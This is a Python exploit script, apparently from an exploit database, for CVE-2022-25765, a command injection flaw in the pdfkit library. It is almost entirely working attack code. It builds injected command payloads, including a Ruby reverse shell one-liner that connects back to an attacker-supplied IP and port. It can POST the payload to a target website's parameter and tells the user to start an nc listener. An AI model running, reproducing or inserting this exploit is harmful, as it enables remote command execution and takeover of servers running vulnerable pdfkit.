1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 |
#!/usr/bin/env python3 # Exploit Title: pdfkit v0.8.7.2 - Command Injection # Date: 02/23/2023 # Exploit Author: UNICORD (NicPWNs & Dev-Yeoj) # Vendor Homepage: https://pdfkit.org/ # Software Link: https://github.com/pdfkit/pdfkit # Version: 0.0.0-0.8.7.2 # Tested on: pdfkit 0.8.6 # CVE: CVE-2022–25765 # Source: https://github.com/UNICORDev/exploit-CVE-2022-25765 # Description: The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized. # Imports import time import sys import requests from urllib.parse import quote class color: red = '\033[91m' gold = '\033[93m' blue = '\033[36m' green = '\033[92m' no = '\033[0m' # Print UNICORD ASCII Art def UNICORD_ASCII(): print(rf""" {color.red}_ __,~~~{color.gold}/{color.red}_{color.no}{color.blue}__________________________{color.no} {color.red},~~<code>( )_( )-\| {color.blue}/ / / / |/ /_/ ___/ __ \/ _ \/ _ \{color.no} {color.red}|/|</code>--. {color.blue}/ /_/ /// // /__/ /_/ / , _/ // /{color.no} {color.green}_V__v___{color.red}!{color.green}_{color.red}!{color.green}__{color.red}!{color.green}_____V____{color.blue}\____/_/|_/___/\___/\____/_/|_/____/{color.green}....{color.no} """) # Print exploit help menu def help(): print(r"""UNICORD Exploit for CVE-2022–25765 (pdfkit) - Command Injection Usage: python3 exploit-CVE-2022–25765.py -c <command> python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port> python3 exploit-CVE-2022–25765.py -c <command> [-w <http://target.com/index.html> -p <parameter>] python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port> [-w <http://target.com/index.html> -p <parameter>] python3 exploit-CVE-2022–25765.py -h Options: -cCustom command mode. Provide command to generate custom payload with. -sReverse shell mode. Provide local IP and port to generate reverse shell payload with. -wURL of website running vulnerable pdfkit. (Optional) -pPOST parameter on website running vulnerable pdfkit. (Optional) -hShow this help menu. """) exit() def loading(spins): def spinning_cursor(): while True: for cursor in '|/-\\': yield cursor spinner = spinning_cursor() for _ in range(spins): sys.stdout.write(next(spinner)) sys.stdout.flush() time.sleep(0.1) sys.stdout.write('\b') # Run the exploit def exploit(payload, exploitMode, postArg): UNICORD_ASCII() print(f"{color.blue}UNICORD: {color.red}Exploit for CVE-2022–25765 (pdfkit) - Command Injection{color.no}") loading(15) print(f"{color.blue}OPTIONS: {color.gold}{modes[exploitMode]}{color.no}") print(f"{color.blue}PAYLOAD: {color.gold}" + payload + f"{color.no}") if "web" in exploitMode: if exploitMode == "webcommand": print( f"{color.blue}WARNING: {color.gold}Wrap custom command in \"quotes\" if it has spaces.{color.no}") else: print( f"{color.blue}LOCALIP: {color.gold}{listenIP}:{listenPort}{color.no}") print( f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port. \"nc -lnvp {listenPort}\".{color.no}") print(f"{color.blue}WEBSITE: {color.gold}{website}{color.no}") print(f"{color.blue}POSTARG: {color.gold}{postArg}{color.no}") if "http" not in website: print( f"{color.blue}ERRORED: {color.red}Make sure website has schema! Like \"http://\".{color.no}") exit() postArg = postArg + "=" + quote(payload, safe="") try: response = requests.post(website, postArg) except: print( f"{color.blue}ERRORED: {color.red}Couldn't connect to website!{color.no}") exit() loading(15) print(f"{color.blue}EXPLOIT: {color.gold}Payload sent to website!{color.no}") loading(15) print(f"{color.blue}SUCCESS: {color.green}Exploit performed action.{color.no}") elif exploitMode == "command": print(f"{color.blue}WARNING: {color.gold}Wrap custom command in \"quotes\" if it has spaces.{color.no}") loading(15) print( f"{color.blue}EXPLOIT: {color.green}Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.{color.no}") elif exploitMode == "shell": print(f"{color.blue}LOCALIP: {color.gold}{listenIP}:{listenPort}{color.no}") print(f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port.{color.no}") loading(15) print( f"{color.blue}EXPLOIT: {color.green}Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.{color.no}") exit() if __name__ == "__main__": args = ['-h', '-c', '-s', '-w', '-p'] modes = {'command': 'Custom Command Mode', 'shell': 'Reverse Shell Mode', 'webcommand': 'Custom Command Send to Target Website Mode', 'webshell': 'Reverse Shell Sent to Target Website Mode'} postArg = "url" if args[0] in sys.argv: help() elif args[1] in sys.argv and not args[2] in sys.argv: try: if sys.argv[sys.argv.index(args[1]) + 1] in args: raise command = sys.argv[sys.argv.index(args[1]) + 1] except: print( f"{color.blue}ERRORED: {color.red}Provide a custom command! \"-c <command>\"{color.no}") exit() payload = f"http://%20<code>{command}</code>" mode = "command" elif args[2] in sys.argv and not args[1] in sys.argv: try: if "-" in sys.argv[sys.argv.index(args[2]) + 1]: raise listenIP = sys.argv[sys.argv.index(args[2]) + 1] except: print( f"{color.blue}ERRORED: {color.red}Provide a target and port! \"-s <target-IP> <target-port>\"{color.no}") exit() try: if "-" in sys.argv[sys.argv.index(args[2]) + 2]: raise listenPort = sys.argv[sys.argv.index(args[2]) + 2] except: print( f"{color.blue}ERRORED: {color.red}Provide a target port! \"-t <target-IP> <target-port>\"{color.no}") exit() payload = f"http://%20<code>ruby -rsocket -e'spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"{str(listenIP)}\",\"{str(listenPort)}\"))'</code>" mode = "shell" else: help() if args[3] in sys.argv and args[4] in sys.argv: try: if "-" in sys.argv[sys.argv.index(args[3]) + 1] and len(sys.argv[sys.argv.index(args[3]) + 1]) == 2: raise website = sys.argv[sys.argv.index(args[3]) + 1] mode = "web" + mode except: print( f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}") exit() try: if "-" in sys.argv[sys.argv.index(args[4]) + 1] and len(sys.argv[sys.argv.index(args[4]) + 1]) == 2: raise postArg = sys.argv[sys.argv.index(args[4]) + 1] except: print( f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}") exit() elif args[3] in sys.argv or args[4] in sys.argv: print( f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}") exit() exploit(payload, mode, postArg) |